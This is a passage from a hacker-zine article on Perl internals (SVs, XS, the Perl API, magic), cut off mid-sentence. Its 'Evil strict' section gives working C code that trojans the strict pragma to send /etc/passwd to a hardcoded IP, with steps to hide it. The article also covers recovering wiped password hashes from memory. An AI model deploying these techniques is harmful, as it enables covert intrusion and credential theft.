[==========================================================================]
[-----------------------------[ Breaking Perl ]----------------------------]
[==========================================================================]
_==####==_
.############.
.################.
.##################.__ __ __ __ _ _ __ __
##############/¯_`|#\ V V // _` | '_/ -_)
##############\__,|# \_/\_/ \__,_|_| \___|
###########*¯*######
*#########{ }####*
##########._.#####
################
*############* By: zshzn
¯==####==¯ Email: zshzn@hackaholic.org
-[ 0.0 ]---------------------------------------------------[ Contents ]-----
1.0 Introduction
2.0 The SV
2.1 Introduction to SVs
2.2 Dual Types Challenge
2.3 Data Recovery Vulnerabilities
3.0 XS
3.1 Introduction to XS
3.2 Using XS
3.3 Breaking undef
3.4 The Perl API
3.5 Evil strict
4.0 Magic
4.1 Introduction to Magic
4.2 Changing Special Variables
4.3 Our Own Magic
4.4 A Magic JAPH
5.0 Closing
5.1 More Topics
5.2 Sources
5.3 Shouts
6.0 Appendix - Flag.xs
-[ 1.0 ]-----------------------------------------------[ Introduction ]-----
This article is about perl internals. This article will teach you about how
things work and how to manipulate them. Hopefully this article will inspire
you to teach yourself further and take up the hobby. If you do not code
Perl, this could be a good time to start. If you do code Perl, this could be
a very important series of lessons that could give you a greater
understanding of the language.
The first thing to remember about Perl is that it is built with C. It is a
series of extensions creating a new language. C programmers maintain that
anything that can be done in Perl can be done in C. This is rightly so, and
backed by the very nature of perl, the fact that it is, after all, written
in C. However, any Turing-complete language can do what either can. Perl is
significantly different from C to an extent that it must be viewed as
unique. However, the connection is central to this article, and it is this
connection that we explore.
Within the context of this topic I refer to a "user" as someone using Perl
to program. The user gets to use Perl as a tool, without knowing how it is
implemented and how it works. You only need to know how to manage the
features available.
Perl embraces a level of abstraction. This abstraction lives in its core and
is used through every increasing level. To emulate Perl directly in C, this
abstraction has to be done. To emulate advanced features one either
implements directly, uses a library, or does not implement at all. One
example is using regular expressions. In C you can use PCRE, Perl Compatible
Regular Expressions. It's a rather large library. This represents a direct
abstraction away from the simplicity of C. However, one is still very
limited. Although PCRE allows much more than one would sensibly implement
individually in C, it falls far short of Perl's regular expressions.
Usually, a C coder will not use regular expressions at all, and will limit
their programming to the tools they have available. C lacks the elemental
high level required to allow regular expressions that are more than a shadow
of Perl.
-[ 2.0 ]-----------------------------------------------------[ The SV ]-----
---[ 2.1 ]-------------------------------------[ Introduction to SV's ]-----
So how does Perl do it? The very base of Perl is the SV. An SV is a Scalar
Value. It is a structure that can hold a selection of a type of values,
including various other relevant data. In basics, SVs can store integers,
doubles, and strings. The code managing SVs can be found in sv.h and sv.c,
which makes up a large percentage of the overall perl code.
Taken directly from sv.h:
struct STRUCT_SV { /* struct sv { */
void* sv_any; /* pointer to something */
U32 sv_refcnt; /* how many references to us */
U32 sv_flags; /* what we are */
};
Please note that I am taken definitions from perl 5.8.8, the latest stable
version of perl. I realize that between then and now, perl 5.9.3, the
current development version, they have messed with some things, and overall
structures are a little bit more complicated. Also note that I refer to it
as "perl" when talking about the source code and application. The language
is "Perl", capitalized. I may capitalize perl to start a sentence. I also
may at times make the mistake of extracting from perl 5.9.3 instead of
5.8.8, depending on which machine I am on and my level of patience.
================================================== Obscure Reference Note ==
Please note that perl 5.9.3 does NOT mean we are seven updates away from
perl 6. You know what we are seven updates away from? perl 5.10. And it
looks to be coming along pretty nicely. Perl 6 is kind of here already, in
PUGS form, but the official, Parrot-based form is a while off, if it is
coming at all.
============================================================================
Obviously sv_refcnt is just a number, usually 1. When this hits 0 we expect
our SV to disappear, it no longer exists to us. If some secondary SV is a
reference to an original one, we can make sure our SV doesn't disappear when
we still want it. This is Perl's reference-based garbage collection. The
first three bytes of sv_flags hold 24 one-bit flags. These define what types
of data it holds, how we are to use it, and a lot of little things that
usually aren't used. They are #define'd in quite an ugly block early in
sv.h, and I shalln't repeat them here in original form for that reason.
The last byte of sv_flags represents the type of SV. This is crucial for
sv_any. IVs are integers, NVs are doubles, RVs are references, PVs are
strings. PVIV/PVNV are combinations, and everything else you don't want to
worry about right now.
typedef enum {
SVt_NULL, /* 0 */
SVt_IV, /* 1 */
SVt_NV, /* 2 */
SVt_RV, /* 3 */
SVt_PV, /* 4 */
SVt_PVIV, /* 5 */
SVt_PVNV, /* 6 */
SVt_PVMG, /* 7 */
SVt_PVBM, /* 8 */
SVt_PVLV, /* 9 */
SVt_PVAV, /* 10 */
SVt_PVHV, /* 11 */
SVt_PVCV, /* 12 */
SVt_PVGV, /* 13 */
SVt_PVFM, /* 14 */
SVt_PVIO /* 15 */
} svtype;
sv_any is a pointer towards more data. This data is usually another
structure. Before we get directly into sv_any, I would like to explain and
discuss a little bit more.
Despite the ability that an SV represents, we can already see the resource
use involved. Even discarding the other side of sv_any for the moment, we
are allocating 12 bytes to this SV. Four bytes alone to a variable that
usually just holds the value 1. It may seem outragious in the case of an
integer, but it scales well. Let's give an example of an SV. For debugging
output in Perl I use Devel::Peek::Dump and otherwise I use Perl_sv_dump,
which is the precise function wrapped by Dump. Here's an example of a simple
integer.
bash-3.00$ perl -MDevel::Peek -e '$c = 12; print Dump $c'
SV = IV(0x81420ec) at 0x812f4d8
REFCNT = 1
FLAGS = (IOK, pIOK)
IV = 12
The SV type, as stored in the last byte of sv_flags, holds the value 1,
representing an IV, which is an integer value. The flags set are IOK
(integer OK) and pIOK (private integer OK, don't worry about this one yet).
The actual number it stores is 12. Here, have a string example.
bash-3.00$ perl -MDevel::Peek -e '$c = "wer"; print Dump $c'
SV = PV(0x812f9d8) at 0x812f4d8
REFCNT = 1
FLAGS = (POK, pPOK)
PV = 0x813d128 "wer"\0
CUR = 3
LEN = 4
This one is a PV, Pointer Value (String Value, SV, is already taken
obviously). Type value 4. Flags POK and pPOK. Value "wer", and it is null
terminated to be safe for C functions. CUR is the length of the data itself,
LEN is the length of the data space delegated for it. This will not always
be just one more than CUR.
Let's get into some fun.
bash-3.00$ perl -MDevel::Peek -e '$c = 12; $c = "wer"; print Dump $c'
SV = PVIV(0x81309e8) at 0x812f4d8
REFCNT = 1
FLAGS = (POK, pPOK)
IV = 12
PV = 0x813d130 "wer"\0
CUR = 3
LEN = 4
Notice anything odd? We have BOTH an IV and a PV. This is not an IV or a
PV, this is a PVIV, type 5. However, it will always be treated as a string,
because POK is set, and IOK is not.
================================================== Obscure Reference Note ==
I could use $a as a test variable. Or $b. But I am trying to avoid that.
Why? Because they are special. Not very special, but I don't want to get
caught on anything funky. And I also do not want to confuse any readers,
who might explain odd behavior, incorrectly, on the fact that I am using
$a or $b. $a and $b are used internally by sort(), and the key difference
is that they don't have to be declared with "my" to work under strict.
Otherwise they are normal.
============================================================================
---[ 2.2 ]-------------------------------------[ Dual Types challenge ]-----
Recently I tempted people with the following:
bash-3.00$ perl test.pl
This is what you're about to see:
use strict;
use Flag qw(int_me);
my $i;
print "Insert a number: ";
chomp($i = int(<STDIN>));
$i = "This is a string";
int_me($i);
print '$i = ', $i, "\n";
Insert a number: 1337
$i = 1337
bash-3.00$
Please note that the above, excluding the prompt lines, is the output of a
program. The program itself is that code, plus a bit of code to print that.
In the above case you are prompted for a number, and then the program prints
it. At first people ask where they can find Flag. I tell them they can't,
it's homegrown, after all that is the trick. They wonder if it is a syntax
trick, or if int_me() just assigns 1337 to $i. However I assure them it is
neither. I allow the user to submit an integer to $i. I have to int() this,
because otherwise <STDIN> returns a string of course and this ends up in PV
and $i is a PV. Due to the int() $i is a regular IV, with an IV value and
flags IOK and pIOK. I then change the value of $i. Then I do something
special in int_me(), and suddenly not only is $i a number, but is the exact
number the user inputted originally, despite the impression that that number
should have disappeared.
bash-3.00$ perl -MDevel::Peek -e '$c = <STDIN>; print Dump $c'
1337
SV = PV(0x812f9d8) at 0x812f4d8
REFCNT = 1
FLAGS = (POK, pPOK)
PV = 0x81431d8 "1337\n"\0
CUR = 5
LEN = 80
bash-3.00$ perl -MDevel::Peek -e '$c = int(<STDIN>); print Dump $c'
1337
SV = IV(0x81420f4) at 0x812f4d8
REFCNT = 1
FLAGS = (IOK, pIOK)
IV = 1337
The above examples show the necessity behind the int() wrapper around
<STDIN>. What int_me() does is change flags from POK to IOK, and Perl will
thereafter access the IV value instead of the PV value. This cannot be done
in Perl itself, how I do so will be explained later. By the way, I of course
wrote stringify() and double_or_nothing() to go with int_me(). All of my XS
examples in this document can be found in Appendix A.
Why do we save the excess values, especially if we cannot use the old values
again? Because otherwise we would have to reallocate the structure, and that
usually would not be worth it. It would be worth it perhaps when going from
a very long string to something else, however doing that itself is a bad use
of a variable, both for clarity and for this reason. As well, the memory
freed might not be useful anyways.
================================================== Obscure Reference Note ==
Yet again, a perl user should not have to worry about perl internals. Perl
is a high-level language, the user optimally should not have to be aware of
how everything is implemented. In Perl, things work as expected. So, using a
very long string in a variable and then assigning that variable to a small
string or a number, thereby using excessive memory, should not be held
against a user on that basis. The user does not have an obligation to know
that. However, as mentioned above, it could perhaps be held against the user
for poorly using variables, or doing so in an illogical fashion.
============================================================================
So back to sv_any. It is just a pointer towards more data, the data
structure applicable. In the above dual variable case, a PVIV system, this
is the structure:
struct xpviv {
char * xpv_pv; /* pointer to malloced string */
STRLEN xpv_cur; /* length of xpv_pv as a C string */
STRLEN xpv_len; /* allocated size */
IV xiv_iv; /* integer value or pv offset */
};
Very simple. As you can realize, an xpv is just that minus the IV field.
These structures can easily be interpreted by Perl functions, because they
recognize the type value of the sv_flags member of the host structure. As
well, they are generally designed as extensions of more base SV types.
SVs can scale to hold numbers, strings, globs, and a shitload of weird
things that you do not want to trouble your mind over right now. The other
main Perl data types are AVs and HVs. Those are Array Values and Hash Values
respectively. Both are more complicated structures, but in essence they act
as lists of SVs. The SV is the base of the language, and it in itself is
what makes Perl a much higher level language than C.
---[ 2.3 ]----------------------------[ Data Recovery Vulnerabilities ]-----
You may be reading this with some expectation of something to gain,
security-wise. I mean, why learn something if it can't help you hack? Fun?
What's that? Anyways. There are some obscure tricks that could come up from
this unexpected behavior. If you have code access, even limited, you might
be able to "use Devel::Peek; print Dump $important_var;". A good example
could be one of the many Perl shells out there. Perhaps it drops privileges
after authorization but not the current interpreter, naturally. Perhaps
there are some variables that have an important value that they thought they
wiped.
print "login: ";
chomp(my $user = <STDIN>):
print "password: ";
chomp(my $password = <STDIN>);
$hashed = get_hash($user);
set_user($user) if hash($password, $hashed);
$hashed = 0; #bye bye hashed password from /etc/shadow!
set_privs_to($user);
print $motd;
Something along that line, just not as silly and a bit more complicated.
================================================== Obscure Reference Note ==
psh, the Perl SHell, the popular one that occupies sourceforge under that
name, is a highly advanced shell. It includes over 10,000 lines of Perl and
has been long in the making. Do not expect such simple code or foolish
mistakes from them. I am just giving examples here. Then again, I'm not
giving an express guarantee that they don't have foolish mistakes. Just
don't expect it.
============================================================================
Obviously you can access $hashed and recover the root password hash,
regardless of success or not. Naturally you might want to avoid this by
undef()ing your variable first. In this case, that works. However, it turns
out undef() doesn't entirely remove the variable, nor the IV or NV value,
nor the type value, just the PV and any flags. So if it was an important
number that was saved, say, in the event of RSA key generation, it could be
recoverable.
bash-3.00$ perl -MDevel::Peek -e '$c = 5; undef $c; print Dump $c'
SV = IV(0x81420f4) at 0x812f4d8
REFCNT = 1
FLAGS = ()
IV = 5
bash-3.00$ perl -MDevel::Peek -e '$c = 5; $c = 5**50; undef $c; print Dump
$c'
SV = PVNV(0x8131e08) at 0x812f4d8
REFCNT = 1
FLAGS = ()
IV = -1
NV = 8.88178419700125e+34
PV = 0
Funky shit eh? You'd think they would go all the way. If you really, really,
want to clear the values in a variable, here is some code that does so. But
you'll have to read further to find out how to use it.
SV *
sv_my_clear(scalar)
SV* scalar
CODE:
sv_setiv(scalar, 0);
sv_setnv(scalar, 0);
sv_setpv(scalar, "");
scalar->sv_flags = 0;
Or you can use the Perl API, which is a smarter idea, with sv_clear or
sv_free.
Alternatively, if you need to revert the value back to a string or an
integer, you would need enough access to setup a relevant module (more on
this below), and use int_me(), stringify(), or something of that sort.
These might seem obtuse. Very obtuse. But they are the kind of tricks that
it is good to have in your pocket. Those tricks add up, and eventually pay
themselves back.
-[ 3.0 ]---------------------------------------------------------[ XS ]-----
---[ 3.1 ]---------------------------------------[ Introduction to XS ]-----
<fish> is it my fault that we're all about guts now?
XS is, well, a glue language of its own. Basically it is a way to use C in
Perl, and XS is mostly C code wrapped with flags telling xsubpp how to put
it together. We use XS to do two things. The first is to write functions in
C for things that we would rather not do in Perl, yet we still need to use
in Perl. The second is to mess with Perl internals themselves. The xsubpp
compiler generates a library that can be loaded in Perl modules. XS converts
Perl arguments to C arguments, executes the C function, and returns values
to Perl. It can do a few tricks too, but that is the gist of it.
I would not want to keep you waiting. Have some more XS, the card up the
sleeve of the int_me() trick.
SV*
int_me(SV* scalar)
CODE:
SvIOK_only(scalar)
Most of that is self-explanatory. You may ask, "but zshzn, doesn't this just
wrap another function of yours, SvIOK_only(SV* scalar), and you really
haven't shown us anything???" and I will respond "no". SvIOK_only is an
internal function, part of the Perl API, and I will get to that later. The
line-break after "SV*" is needed. Paramaters can be put in either that
format or K&R style.
The earlier example (sv_my_clear) is easy to explain as well. I use three
internal functions to safely change the IV, NV, and PV values stored, and
then I directly set sv_flags to 0.
You may want a slightly more volumous example. Below is a complete file, we
will call it Flag.xs. This is my Flag module. Calm down Stephen Harper, I
said FLAG module.
================================================== Obscure Reference Note ==
Stephen Harper is, at the time of writing, the current Prime Minister of
Canada. He is a bit more "right wing" than most successful Canadian
politicians. He draws comparisons to George Bush Jr. here. However he is
much less "right wing" than the centre-left of the American Democratic
party. Regardless, jokes abound. In a recent television commercial, famous
Canadian political comedian Rick Mercer said "Today is Flag day. Calm down
Stephen Harper, I said FLAG day." suggesting that Stephen Harper would be
upset by a supposed "Fag day" supporting homosexual rights. Or something.
Yea, the joke wasn't too good in the first place, and my copy is just that
much worse. But if I didn't say anything about it here, you might be lead to
guess that I wrote something witty and specific. So just go with that.
============================================================================
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include <math.h>
#define DEBUG 0
MODULE = Flag PACKAGE = Flag
SV *
sv_rm_flag(scalar, flag)
SV* scalar
char* flag
CODE:
char flags[24][10] = {
"PADBUSY", "PADTMP",
"PADMY", "TEMP",
"OBJECT", "GMAGICAL",
"SMAGICAL", "RMAGICAL",
"IOK", "NOK",
"POK", "ROK",
"FAKE", "OOK",
"BREAK", "READONLY",
"IOKp", "NOKp",
"POKp", "SCREAM",
"AMAGIC", "SHAREKEYS",
"LAZYDEL", "VALID"
};
int i, j;
for (i = 0; i < 24; i++) {
if ( strEQ(flag, flags[i]) ) {
j |= (int)pow(2,i+8);
j = ~j;
scalar->sv_flags &= j;
break;
}
}
if ( DEBUG ) {
printf("[ %u ]\n",scalar->sv_flags );
Perl_sv_dump(scalar);
}
Part of the way that is formatted is crucial. Everything before the first
MODULE flag is raw C and you can write direct C functions, and everything
afterwards has to be XS-style. There has to be some spacing before the first
line of code in the CODE section. There doesn't always have to be a CODE tag
but I like to include it. Empty lines are not always allowed, thus my tight
packing. The code itself is simple enough, so I have abstained from
commenting. If I was to comment, I can use Perl's pound sign for a whole
line, or C commenting otherwise. Mostly that is C, very direct. strEQ() is
another Perl API function, similar to strcmp(). What this function,
sv_rm_flag(), does, is remove a specific flag. Based on the string you
enter, it removes the corresponding flag. The included headers are essential
for XS, except for math.h which is only needed for pow() in this case. I
define the module and package as Flag, because I wanted to mess with SV
flags.
---[ 3.2 ]-------------------------------------------------[ Using XS ]-----
You may be wondering how to actually write and include XS code. As mentioned
above, you make a .so that can be dynamically loaded into Perl. You could
also create a static library and build Perl again with it, if you really
wanted to. We load this dynamic library with a Perl module. We use the
program h2xs, in this case, mostly to build a makefile for us. h2xs means
header to XS, it is designed to take a C header file and create XS for us.
Then we could mess with that code to make it more Perl-friendly. For example
to put return values directly on the Perl stack, or to work directly with
SVs instead of other variables. There are lots of reasons why one would want
to modify C code to use it with Perl. In our case, however, we are not doing
that. We are creating our XS entirely. So we just do not provide h2xs with a
header to work from.
h2xs -A -n Flag
Now we have a directly, ./Flag, with some stuff in it. We put our XS code in
Flag.xs and our module is Flag.pm
package Flag;
require Exporter;
require DynaLoader;
our @ISA = qw(Exporter DynaLoader);
@EXPORT_OK = qw / int_me /;
our $VERSION = '0.01';
bootstrap Flag;
1;
That there is my Flag.pm. For those of you not familiar with Perl modules,
almost everything there is very normal. We define our package, for the Perl
namespace. We use Exporter, which allows us to export easily to another
namespace. Consider this how we get our subroutines "out" of the module and
into your program. @EXPORT is an array of symbols to export automatically,
@EXPORT_OK is a list of symbols to export on request. It is considered bad
form most of the time to export by default. We define a version. The "1;" at
the end of the module is important, it is like "return 1;", and a module
must return success. In a regular module we would have our subroutines
between the meta-information and the "1;" at the end. In this case, however,
we use bootstrap() from DynaLoader, which does a lot of work in itself, and
ultimately calls dl_load_file($filename, $flags) which is implemented in C.
This is what actually loads our object file.
perl Makefile.PL
make
If we want to use this for testing we can create a little .pl in our working
Flag dir (or do proper tests in /t):
use ExtUtils::testlib;
use Flag;
$a = 1234;
$a = "omg hax";
Flag::int_me($a);
print $a;
You know, that kind of thing. If you want to use it natively in your Perl
scripts, make install, or manually export the files where you need them. For
the .pm that is in @INC directories and the .so needs to find it's way into
a proper auto/ directory, off an @INC.
---[ 3.3 ]-------------------------------------------[ Breaking undef ]-----
Hey, let's take undef, and break it. Oh yeah.
undef is defined as this in embedvar.h:
#define PL_sv_undef (vTHX->Isv_undef)
and as this in perlapi.h:
#define PL_sv_undef (*Perl_Isv_undef_ptr(aTHX))
So you can be assured it is one of those two.
Either way it seems to emulate a small SV.
This is used a lot in perl, in much the same way we do in Perl:
if (sv == &PL_sv_undef) {
or
sv = &PL_sv_undef;
By the way, although in my examples I tend to name my SVs as 'scalar', perl
usually uses 'sv'.
Take a look at its organs:
Perl_sv_dump((SV*)&Perl_sv_undef));
SV = NULL(0x0) at 0x812bf98
REFCNT = 2147483439
FLAGS = (READONLY)
There are a few things to note ábout that. First of all, notice that we are
quite a bit up memory from our normal variables. Secondly, that's one
fucking large REFCNT. That is so it will never disappear on us. And, the
only flag set is readonly, and the type is 0, presumably to make sure no
functions fuck with it when it comes around. The address means that this is
defined much earlier in our process, and that we cannot add to it in-place
because we overwrite and segfault. Thus, my first attempt didn't work:
((SV*)&PL_sv_undef)->sv_flags = 67311012;
sv_setpv((SV*)&PL_sv_undef, "happy");
So what shall we do? We'll create a new SV and point PL_sv_undef at it.
SV*
sv_break_undef()
CODE:
SV* mirror = newSVpv("happy", 5);
mirror->sv_refcnt = ((SV*)&PL_sv_undef)->sv_refcnt; /* I could be
more naughy and ignore this too, but hey, undef is destroyed either way */
PL_sv_undef = *mirror;
Great! Now I can break any code that uses undef in any way. I like to break
code and see what happens.
---[ 3.4 ]---------------------------------------------[ The Perl API ]-----
Now you know enough XS to know how to do things. Especially if you know C.
You know how to use that XS in your Perl program. And you have enough
knowledge of Perl datatypes to mess with them. You're all set! But wait, you
aren't. Here we have to have a little talk about the Perl API.
You might want to, for example, change an SV's data or something of that
sort. However, doing so manually, and properly, would require various checks
to find out just what kind of data it contains. You and I are likely to mess
that up. It's natural. Especially with a gross underestimation of the
complexity and variety of SV types. Thankfully, this work has been done for
us. The application has a very extensive API, a lot of it built up upon
various levels, to make things very easy for developers. There really is a
lot that needs to be done to make sure things work right. I personally might
bypass this in a lot of the code here, but I'm also mostly interested in
exploring and breaking. For serious work, the Perl API is perfect. I would
just like to detail some relevant functions.
You can create a new SV like this:
SV* scalar = newSV(0); // empty, allocated zero bytes
SV* scalar = newSV(100); // empty, 100 allocated bytes
SV* scalar = newSViv(100); // new IV (integer), with value 100
SV* scalar = newSVpv("happy", 5); // if you still need an explanation...
We can change current values similarly:
sv_setiv(scalar, 100);
sv_setpv(scalar, "happy");
We access the values as so:
SvIV(scalar);
SvNV(scalar); //etc
STRLEN len;
SvPV(scalar, len);
Please note that you provide a STRLEN type and SvPV will assign the length
of the string into it. Note that STRLEN == MEM_SIZE == Size_t. Here, better
example:
STRLEN length;
printf("My string is \"%s\" and its length is %d\n",
SvPV(scalar, length), length);
When it comes to reference counts, we can modify them like this:
SvREFCNT(scalar); // returns current value
SvREFCNT_inc(scalar); // increase by one
SvREFCNT_dec(scalar); // decrease by one
Notice that you are expected to alter reference counts in single increments
or decrements. Darn.
Something that hasn't come up here yet, but which is important once you
really get into XS, is the mortality of variables. Basically we don't want
to have the equivalent of a memory leak in a function, where we temporarily
use a variable but it's reference count doesn't expire due to odd
circumstances.
SV* scalar = sv_newmortal(); // create a new mortal variable
sv_2mortal(scalar); // mortalize an existing SV
SV* scalar = sv_mortalcopy(otherscalar); // Make a mortal copy of an
existing scalar
We have functions to manipulate type, as seen before.
SvIOK(scalar); // returns true if is IOK
SvIOK_on(scalar); // set the IOK (and pIOK) flag on
SvIOK_only(scalar); // set IOK (and pIOK) on and turn others off
That is about as far as I want to get into the API at the moment.
---[ 3.5 ]----------------------------------------------[ Evil strict ]-----
Time for some more fun. This really does not involve much Perl or Perl API.
We are going to make strict call home. strict is the common pragma that any
decent Perl program calls immediately. In this example case, we will get it
to connect, on our owned box, to somewhere special and dump /etc/passwd.
Naturally, you can insert DNS code if you want and send a file other than
/etc/passwd, presumably something useful. Imagine you have some sniffing
script running and you want to send out its latest data. Or something. We
are hiding malicious code in a loadable object that we will have called
whenever someone uses strict. It might not be the cleanest method, but it is
less noticable than a cron job or any number of other methods, and our evil
code is relatively hidden, in a .so. Of course we could just write the code
in Perl in strict.pm, but that would be more obvious.
This is our XS:
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include "ppport.h"
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define DEST_IP "192.168.1.10"
#define DEST_PORT 1347
MODULE = strict PACKAGE = strict
BOOT:
int sockfd;
struct sockaddr_in dest_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(DEST_PORT);
dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
memset(&(dest_addr.sin_zero), '\0', 8);
if( connect(sockfd, (struct sockaddr *)&dest_addr,
sizeof(struct sockaddr)) != -1 ) {
char s[100];
FILE* f;
f=fopen("/etc/passwd","r");
while (fgets(s, 100, f) != NULL) {
send(sockfd, s, strlen(s), 0);
}
close(sockfd);
}
The one odd thing you should notice is the BOOT tag. That is crucial. It is
how we execute code upon loading, and not just in functions. So, if that is
our XS, we need our strict.pm. You may notice that I do not do any error
reporting. Ask yourself, do I WANT to make this visible at all?
h2xs -A -n strict
cp xsfromz.xs strict/strict.xs
cd strict
perl Makefile.PL
make
And, make sure your version is 1.03, to match strict. And, if anything there
didn't work, fix it. Right. Now we copy our strict.so file to a proper auto
directory in @INC, Then, we need to modify the proper strict.pm to use our
code. Add your require lines at the top and include the @ISA line. Shortly
after the version do a "bootstrap strict;". There is one last thing you need
to change: strict.pm creates a @wrong array and dies if it ends up with any
members. Either comment out the "push @wrong" line, or the death block, or
change the condition. Whatever. Just note that if you don't, strict dies.
Yes, this will cause strict to inexpicably not fail when called incorrectly.
But when does that happen? And who will be curious and educated enough to
find out why? Blame DynaLoader.
So there you have it. Malicious code hidden behind the guise of our
friendly, non-evil strict.
-[ 4.0 ]------------------------------------------------------[ Magic ]-----
---[ 4.1 ]------------------------------------[ Introduction to Magic ]-----
Put your cards away rattle. I'm talking Perl magic. That's a technical term.
Why do we call it magic? Because it does magic, and it makes a lot possible.
Magic makes the impossible possible. It is how perl implements many special
variables, tied variables, internal features, and who knows what else. With
magic we can make something happen when a variable is called or when it is
changed. That's the gist of common use. When you get deep into mg.c, you
will notice it is implemented magically too.
For these various reasons, perl has an SV type called magic. PVMG. You may
recognize this as type 7 of our list. It is just like a PV, except it has
two more members. One of these is a pointer towards another structure, a
MAGIC structure.
================================================== Obscure Reference Note ==
The Perl function "tie" is the Perl 5 magic that makes OOP much more of a
feasible reality. Basically it ties a variable to a class. Getting this to
happen took a lot of internal mucking. But when it did, we could begin to
satisfy the OOP fanatics among us.
============================================================================
<Limbic_Region> ok, then you know that the people who grok that shit are
socially stunted, right
This is our magic structure, that xmg->magic points at.
struct magic {
MAGIC* mg_moremagic;
MGVTBL* mg_virtual; /* pointer to magic functions */
U16 mg_private;
char mg_type;
U8 mg_flags;
SV* mg_obj;
char* mg_ptr;
I32 mg_len;
};
The first item in the magic structure is a pointer towards another magic
structure, mg_moremagic. So yes, we have a potential linked list of magic
structures. When perl interprets a magic SV it goes through all of the
items. Have a very relevant example taken from mg.c
int
Perl_mg_set(pTHX_ SV *sv)
{
dVAR;
const I32 mgs_ix = SSNEW(sizeof(MGS));
MAGIC* mg;
MAGIC* nextmg;
save_magic(mgs_ix, sv);
for (mg = SvMAGIC(sv); mg; mg = nextmg) {
const MGVTBL* vtbl = mg->mg_virtual;
nextmg = mg->mg_moremagic; /* it may delete itself */
if (mg->mg_flags & MGf_GSKIP) {
mg->mg_flags &= ~MGf_GSKIP; /* setting requires another read */
(SSPTR(mgs_ix, MGS*))->mgs_flags = 0;
}
if (vtbl && vtbl->svt_set)
CALL_FPTR(vtbl->svt_set)(aTHX_ sv, mg);
}
restore_magic(INT2PTR(void*, (IV)mgs_ix));
return 0;
}
You know what's a nice feeling? Knowing what most of that does and how it
does it.
Let us continue. Magic has much more to its structure than just a pointer to
the next one. It has a structure called MGVTBL, where the real juice
happens. That's the magic virtual table. This contains five pointers to
routine types. The first two are svt_get and svt_set, which are called when
the variable is accessed and modified, respectively. The type of virtual
table you use is defined in the type field of the magic structure, and there
are a number of them. This is from perl.h:
#define PERL_MAGIC_sv '\0' /* Special scalar variable */
#define PERL_MAGIC_overload 'A' /* %OVERLOAD hash */
#define PERL_MAGIC_overload_elem 'a' /* %OVERLOAD hash element */
#define PERL_MAGIC_overload_table 'c' /* Holds overload table (AMT) on stash
*/
#define PERL_MAGIC_bm 'B' /* Boyer-Moore (fast string search) */
#define PERL_MAGIC_regdata 'D' /* Regex match position data
(@+ and @- vars) */
#define PERL_MAGIC_regdatum 'd' /* Regex match position data element
*/
#define PERL_MAGIC_env 'E' /* %ENV hash */
#define PERL_MAGIC_envelem 'e' /* %ENV hash element */
#define PERL_MAGIC_fm 'f' /* Formline ('compiled' format) */
#define PERL_MAGIC_regex_global 'g' /* m//g target / study()ed string */
#define PERL_MAGIC_hints 'H' /* %^H hash */
#define PERL_MAGIC_hintselem 'h' /* %^H hash element */
#define PERL_MAGIC_isa 'I' /* @ISA array */
#define PERL_MAGIC_isaelem 'i' /* @ISA array element */
#define PERL_MAGIC_nkeys 'k' /* scalar(keys()) lvalue */
#define PERL_MAGIC_dbfile 'L' /* Debugger %_<filename */
#define PERL_MAGIC_dbline 'l' /* Debugger %_<filename element */
#define PERL_MAGIC_mutex 'm' /* for lock op */
#define PERL_MAGIC_shared 'N' /* Shared between threads */
#define PERL_MAGIC_shared_scalar 'n' /* Shared between threads */
#define PERL_MAGIC_collxfrm 'o' /* Locale transformation */
#define PERL_MAGIC_tied 'P' /* Tied array or hash */
#define PERL_MAGIC_tiedelem 'p' /* Tied array or hash element */
#define PERL_MAGIC_tiedscalar 'q' /* Tied scalar or handle */
#define PERL_MAGIC_qr 'r' /* precompiled qr// regex */
#define PERL_MAGIC_sig 'S' /* %SIG hash */
#define PERL_MAGIC_sigelem 's' /* %SIG hash element */
#define PERL_MAGIC_taint 't' /* Taintedness */
#define PERL_MAGIC_uvar 'U' /* Available for use by extensions */
#define PERL_MAGIC_uvar_elem 'u' /* Reserved for use by extensions */
#define PERL_MAGIC_vec 'v' /* vec() lvalue */
#define PERL_MAGIC_vstring 'V' /* SV was vstring literal */
#define PERL_MAGIC_utf8 'w' /* Cached UTF-8 information */
#define PERL_MAGIC_substr 'x' /* substr() lvalue */
#define PERL_MAGIC_defelem 'y' /* Shadow "foreach" iterator variable
/
smart parameter vivification */
#define PERL_MAGIC_arylen '#' /* Array length ($#ary) */
#define PERL_MAGIC_pos '.' /* pos() lvalue */
#define PERL_MAGIC_backref '<' /* for weak ref data */
#define PERL_MAGIC_symtab ':' /* extra data for symbol tables */
#define PERL_MAGIC_rhash '%' /* extra data for restricted hashes */
#define PERL_MAGIC_arylen_p '@' /* to move arylen out of XPVAV */
#define PERL_MAGIC_ext '~' /* Available for use by extensions */
How perl will react to a type of magic is usually predefined. Trying to make
magic in almost any of those forms is a suicidal idea. But just in case you
want to, here's how:
SV* scalar = newSV(0);
sv_magic(scalar, scalar, PERL_MAGIC_arylen, "whatever", 8);
// arylen, I bet that will break nicely
sv_magic(scalar, 0, 'S', ".", 1); // all is well
You know what's fun? You can select meaningless dribble for the second,
third, fourth, and fifth arguments, and it won't usually break right away.
How any of those are used is magic. MAGIC. Really. Random stuff in mg.c and
elsewhere will do checks for certain types. Like "if this happens to be
magic, and happens to be this certain type of magic, with this certain flag,
we're going to GET JIGGY WITH IT".
The actual definition of sv_magic is this:
void sv_magic(SV* sv, SV* obj, int how, const char* name, I32 namlen);
The first argument is the SV we are magicizing, the second ends up in that
obj field of the magic struct, the third is the type as defined in that
massive paste above (put PERL_MAGIC_ext or '~', your choice), the fourth is
a name associated with it which ends up in the ptr field, and the fifth is
the length of that. Phew!
This is a function that just makes a variable magic, as you prescribe:
SV*
sv_make_magic(scalar, type, ident="happy")
SV* scalar
char type
char* ident
CODE:
sv_magic(scalar, scalar, type, ident, strlen(ident));
Notice in this example I first demonstrate default parameters, so the user
doesn't necessarily have to provide a name section if it isn't relevant. XS
is full of such neat goodies.
If you want to remove magic from a variable, you can use sv_unmagic(scalar,
type);
I am sure that by now you are superbly confused. Don't worry, that's normal.
I've explained magic like a maniac on meth. Also, the concept isn't nearly
as concrete as others, such as SVs on their own, or IVs, etcetera.
The type of magic used most often is PERL_MAGIC_sv, or '\0'. Most Perl
